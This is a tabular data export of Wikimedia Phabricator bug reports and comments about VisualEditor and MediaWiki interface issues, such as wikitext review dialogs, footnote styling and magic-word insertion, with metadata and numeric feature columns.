+**Severity**: enhancement",Low,25.0,1372171920,1437786780.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-h6w322yrax25ai4skgpq,task_description,declined,True,c1,2,False,False,False,-1,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,0,1,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1
+496822,"VisualEditor: Wikitext ""review your changes"" is relatively unhelpful for page creations; consider behaviour","Closing since (1) we don't have a clear suggestion here, (2) some power editors clearly find the tool useful, and (3) it would be needlessly confusing to normally have a ""review your changes"" button, but take it away when you're creating a page. I've opened T106926 for the main design inconsistency between the two flavors of the dialog. ",,,1437786780,,PHID-USER-vixhpqcaqfpdj6impfwy,False,,,PHID-TASK-h6w322yrax25ai4skgpq,task_subcomment,,True,c1,3,True,,,107,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,1
+249426,"VisualEditor: Wikitext ""review your changes"" is relatively unhelpful for page creations; consider behaviour","(Oliver Keyes, where's the screenshot?)
+
+Currently on enwiki and mediawiki.org [Review your changes] on a new page displays the wiki text in a <pre> tag, so the wiki markup continues way off to the right side and is almost unusable.
+
+If VE just gave it a style ""ve-review-newpage"" and give it something like
+   white-space: pre-wrap;
+it would be somewhat usable. Or you could use a poem-like div, from comment #0 it sounds like VE used that in June.
+
+Cheers,
+
+(In reply to comment #0)
+> See the screenshot.
+Where? I see no attachments.",,,1373922321,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-h6w322yrax25ai4skgpq,task_subcomment,,True,c1,3,False,,,2,,0,1,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,1,1,1,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,0,0,1
+249419,"VisualEditor: Wikitext ""review your changes"" is relatively unhelpful for page creations; consider behaviour","I disagree; albeit as a power-user, I check the resultant wikitext quite often when I'm doing complex things with templates and parser functions (especially the kind that are subst:'ed).
+
+This will be somewhat moot when we have an HTML-based ""review your changes"" available as well, but that's some months off at this point. :-( Rewording.",,,1372172512,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h6w322yrax25ai4skgpq,task_subcomment,,True,c1,2,True,,,-1,,1,0,0,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+249412,"VisualEditor: Wikitext ""review your changes"" is relatively unhelpful for page creations; consider behaviour","I guess the ask is ""can we come up with a better way of handling things, or alternately not load the option to review on new page creations?"" The wikitext editor handles it this way, yes. The wikitext editor sucks at it, and shouldn't be providing that button in that scenario ;p.",,,1372172349,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-h6w322yrax25ai4skgpq,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,1,0,1,1,0,0
+249408,"VisualEditor: Wikitext ""review your changes"" is relatively unhelpful for page creations; consider behaviour",This is the exact same behaviour as the wikitext editor; I'm not sure what the 'ask' is?,,,1372172147,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-h6w322yrax25ai4skgpq,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,1,0,0,0,0,0,0
+52095,VisualEditor: sizing of footnote tags (e.g. [12]) inconsistent.,"See https://en.wikipedia.org/wiki/Joe_Flacco?veaction=edit - for example, references 24 and 25 under the section ""2012 season: Super Bowl MVP"". It looks like one of them is using Template:R, which may explain the problem, but I'm not sure if the icon not rendering properly is a template problem or a VE problem.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor",Low,25.0,1372081320,1437783652.0,PHID-USER-j5ma2nageni56xp567v5,False,PHID-USER-vixhpqcaqfpdj6impfwy,True,PHID-TASK-yifg3bkbmsq2tzfrga4q,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,0
+244235,VisualEditor: sizing of footnote tags (e.g. [12]) inconsistent.,"Also in https://en.wikipedia.org/wiki/Michelle_%28song%29 sourced to the sfn template, it looks like.",,,1372125037,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-yifg3bkbmsq2tzfrga4q,task_subcomment,,True,c1,2,False,,,-1,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+244229,VisualEditor: sizing of footnote tags (e.g. [12]) inconsistent.,"From that article, references 25 and 26 (from {{r}} and <ref> respectively) generate:
+
+{{r}} ->
+
+<span about=""#mwt97"" class=""reference"" data-mw=""…"" rel=""dc:references"" typeof=""mw:Transclusion  mw:Extension/ref"" data-parsoid=""…"">[25]</a></span>
+
+<ref> ->
+
+<span about=""#mwt99"" class=""reference"" data-mw=""…"" id=""…"" rel=""dc:references"" typeof=""mw:Extension/ref"" data-parsoid=""…""><a href=""…"">[26]</a></span>
+
+Is this just because the CSS isn't being applied when it's ""mw:Transclusion  mw:Extension/ref"" as opposed to just ""mw:Extension/ref""?",,,1372084163,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yifg3bkbmsq2tzfrga4q,task_subcomment,,True,c1,2,True,,,-1,,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,1,1,1,0,1,0,1,0,0,0,0,0,1
+52088,VisualEditor: Editing of headings is broken in IE10,"Edit [[User:This, that and the other/sandbox/VE6]] in VE using IE10:
+
+1. Try modifying the heading text. You have to double-click on the heading to be able to modify it. Hopefully this stupid IE behavior can be worked around.
+
+2. Double-click, and modify the heading text. ""Save page"" button is still disabled.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1372059540,1409961747.0,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,False,PHID-TASK-rstmsueangena7h4cdaj,task_description,resolved,True,c1,2,False,False,False,-1,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1
+243892,VisualEditor: Editing of headings is broken in IE10,This was fixed by undoing MW's overflow:hidden style on headings in https://gerrit.wikimedia.org/r/#/c/144104,,,1409961747,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-rstmsueangena7h4cdaj,task_subcomment,,True,c1,3,False,,,61,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+52057,"VisualEditor: Broken layout of inspector menu, link inspector (others?) in Monobook","link icon not square
+
+See attachments. Reproduced in Chrome and Firefox by the original reporter, and me.
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F11416}",Low,25.0,1372005420,1404168883.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-p5tj36n2mckefr5apd2o,task_description,resolved,True,c1,2,True,False,False,-2,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+241969,"VisualEditor: Broken layout of inspector menu, link inspector (others?) in Monobook","This has been fixed, AFAICT.",,,1404168883,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p5tj36n2mckefr5apd2o,task_subcomment,,True,c1,3,True,,,52,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+241963,"VisualEditor: Broken layout of inspector menu, link inspector (others?) in Monobook","Created attachment 12611
+overlapping recycle bin
+
+**Attached**: {F11417}",,,1372005461,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-p5tj36n2mckefr5apd2o,task_subcomment,,True,c1,2,True,,,-2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0
+52038,"OutputPage: Don't output mw.loader.state ""loading"" and mw.loader.state ""ready"" for the same module","It looks like we currently output both for some modules.
+
+Current output on a wiki with user and site css/js enabled[1] but empty:
+
+<script>if(window.mw){
+mw.loader.state({""site"":""loading"",""user"":""loading"",""user.groups"":""loading""});
+}</script>
+<script>if(window.mw){
+mw.loader.load([""mediawiki.action.view.postEdit"",""mediawiki.user"",""mediawiki.hidpi"",""mediawiki.page.ready"",""mediawiki.searchSuggest"",""mediawiki.page.watch.ajax"",""ext.vector.collapsibleNav"",""ext.visualEditor.viewPageTarget"",""skins.vector.js""],null,true);
+}</script>
+<script>if(window.mw){
+mw.loader.state({""site"":""ready""});
+}</script>
+<script>if(window.mw){
+mw.loader.state({""user"":""ready""});
+}</script>
+<script>if(window.mw){
+mw.loader.state({""user.groups"":""ready""});
+}</script>
+
+The first one with ""loading"" is always output. The last 3 with ""ready"" are output by OutputPage::makeResourceLoaderLink if $module->isKnownEmpty is true.
+
+We should probably optimise this to just output ""ready"" in the first place.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1371976440,1412588792.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-r3jcy4x4njr5hh24ytpk,task_description,resolved,True,c1,2,True,False,False,-2,,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+240886,"OutputPage: Don't output mw.loader.state ""loading"" and mw.loader.state ""ready"" for the same module","> resourceloader: Refactor module links output 
+>
+> Change-Id: I91754ce5fae3d05b4bfa7372372eba81ee2fc579",,,1412588792,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-r3jcy4x4njr5hh24ytpk,task_subcomment,,True,c1,3,True,,,66,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+240879,"OutputPage: Don't output mw.loader.state ""loading"" and mw.loader.state ""ready"" for the same module","This looks fixed for me, because at the moment I will get directly
+mw.loader.state({""site"":""ready"",""user"":""ready"",""user.groups"":""ready""});
+when there is no site or user js page (bug 46857?).",,,1408907579,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-r3jcy4x4njr5hh24ytpk,task_subcomment,,True,c1,3,True,,,59,,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,0,0,0,0
+51996,VisualEditor: Provide a way for users to insert variable magic words,"https://www.mediawiki.org/wiki/Help:Magic_words#Variables
+
+{{CURRENTYEAR}}, {{CURRENTMONTH}], etc. - possibly a pop-up inserter with a brief description of what each do (and their current value?)
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=62740",Low,25.0,1371860100,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-dljoa7k34bkwqsbvudos,task_description,open,True,c1,2,True,False,,-2,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,0,0,1
+789648,VisualEditor: Provide a way for users to insert variable magic words,"Change 278429 abandoned by Alex Monk:
+[WIP] Add MagicWord::getDocs and i18n messages for documentation of magic words
+
+[[https://gerrit.wikimedia.org/r/278429]]",,,1484005244,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,False,,,184,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+787889,VisualEditor: Provide a way for users to insert variable magic words,"Change 140445 abandoned by Alex Monk:
+[WIP] Allow TemplateData to output information about magic words
+
+[[https://gerrit.wikimedia.org/r/140445]]",,,1483653103,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,False,,,183,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+632477,VisualEditor: Provide a way for users to insert variable magic words,"Change 278429 had a related patch set uploaded (by Alex Monk):
+[WIP] Add MagicWord::getDocs and i18n messages for documentation of magic words
+
+[[https://gerrit.wikimedia.org/r/278429]]
+",,,1458351113,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,False,,,141,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+615017,VisualEditor: Provide a way for users to insert variable magic words,"Change 140445 had a related patch set uploaded (by Jforrester):
+[WIP] Allow TemplateData to output information about magic words
+
+[[https://gerrit.wikimedia.org/r/140445]]
+",,,1456023513,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,False,,,137,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+238496,VisualEditor: Provide a way for users to insert variable magic words,"Change 140445 had a related patch set uploaded by Alex Monk:
+[WIP] Allow TemplateData to output information about magic words
+
+https://gerrit.wikimedia.org/r/140445",,,1403119862,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,False,,,50,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+238488,VisualEditor: Provide a way for users to insert variable magic words,2014-06-16 22:00:29	<Krinkle>	but we'll need to implemetn support for the colon argument in Parsoid and VisualEditor DM first.,,,1403110567,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,50,,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+238483,VisualEditor: Provide a way for users to insert variable magic words,"(In reply to Alex Monk from comment #5)
+> Apparently some of the magic words involving 'colon arguments' will need
+> Parsoid/VE DM support.
+
+Does Parsoid not split out the zeroth argument or something? If so, is there a bug that this can be made semi-dependent on?",,,1403060528,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,50,,1,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,0,1
+238479,VisualEditor: Provide a way for users to insert variable magic words,Apparently some of the magic words involving 'colon arguments' will need Parsoid/VE DM support.,,,1402958830,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,50,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0
+238478,VisualEditor: Provide a way for users to insert variable magic words,"(In reply to Alex Monk from comment #3)
+> Actually, maybe we should just have VE query
+> api.php?action=query&meta=siteinfo&siprop=magicwords, then load a
+> documentation message for it in the given language.
+
+no, ignore this",,,1402945015,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,50,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,1
+238475,VisualEditor: Provide a way for users to insert variable magic words,"Actually, maybe we should just have VE query api.php?action=query&meta=siteinfo&siprop=magicwords, then load a documentation message for it in the given language.",,,1402761433,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,49,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+238470,VisualEditor: Provide a way for users to insert variable magic words,"So we need to:
+
+* Alter TemplateData to provide documentation for magic words
+* Add extra field to template insert dialog for the addition of magic words.",,,1402696798,,PHID-USER-x7ti5ksby4ubsabntlxa,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,49,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+238465,VisualEditor: Provide a way for users to insert variable magic words,Feel like taking this on? It'd be a step towards fixing bug 50855 in general… Big fun challenge. :-),,,1402608512,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-dljoa7k34bkwqsbvudos,task_subcomment,,True,c1,3,True,,,49,,0,0,0,0,0,1,1,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+51994,VisualEditor: Table of Contents should be a draggableNode and insert __TOC__ as needed,"It should be possible for users to modify the location of the TOC (see bug 49224 for getting it shown and updated as they edit), and the system should insert a __TOC__ identifier (that should be silently dropped by Parsoid when not needed?).
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1371859800,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-zgftkji5nk4n25cdqxjy,task_description,open,True,c1,2,True,False,,-2,,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,0
+51928,"VisualEditor: No way to identify destination, rather than link text, of links","Because the VE splits up the destination of a link and the text displayed for it (quite rightly) it's impossible, in VE mode, to identify where links point to without source editing. This is kind of a problem for disambiguation issues, for example. Is there any way that this could somehow be hunt-down-able?
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1371790440,1402550246.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-e3ncbibtfnsjabzzzce6,task_description,resolved,True,c1,2,False,False,False,-2,,1,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,1,1,0,0,0,0,0
+233975,"VisualEditor: No way to identify destination, rather than link text, of links","It's nice, but doesn't really address the workflow in comment 3.
+
+(In reply to James Forrester from comment #3)
+> However, this doesn't work well if you know there's one link to [[foo|xxx]]
+> somewhere on the page and you want to change it to [[bar|xxx]], I agree.",,,1402566355,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-e3ncbibtfnsjabzzzce6,task_subcomment,,True,c1,3,False,,,49,,0,0,0,0,1,1,0,0,0,1,1,1,0,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,1
+233973,"VisualEditor: No way to identify destination, rather than link text, of links",This is now done with the new context widget system.,,,1402550246,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-e3ncbibtfnsjabzzzce6,task_subcomment,,True,c1,3,True,,,49,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+233971,"VisualEditor: No way to identify destination, rather than link text, of links","No, hovering over each link is not the answer: if I'm looking at a large article and want to find and amend the link which is pointing to some particular other page (perhaps in connection with cleaning up dab pages etc), I want to be able to use something like ctrl-F ""Find"" as I can at present: once the article is open in Edit Source, the hidden text is searchable.
+
+As an example, look at [[User:PamD/sandbox for VE]] and find the link to [[Dunmallet]]. Now imagine if that page was the length of [[London]] and you needed to find a similar piped link.
+
+Might also be an issue if people want to find (and check parameters of, or amend, etc) one particular template which is used on a page, but doesn't ""show up"" in the visible article. And probably various other scenarios. ~~~~",,,1373190367,,PHID-USER-7zhn2ep5wvjhxetsbb6n,False,,,PHID-TASK-e3ncbibtfnsjabzzzce6,task_subcomment,,True,c1,3,False,,,0,,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,1,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,1,0,1,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+233969,"VisualEditor: No way to identify destination, rather than link text, of links","(In reply to comment #0)
+> Because the VE splits up the destination of a link and the text displayed for
+> it (quite rightly) it's impossible, in VE mode, to identify where links point
+> to without source editing. This is kind of a problem for disambiguation
+> issues, for example. Is there any way that this could somehow be
+> hunt-down-able?
+
+Hover over the link; that's the target, not the anchor, that comes up in the pop-up tooltip. 
+
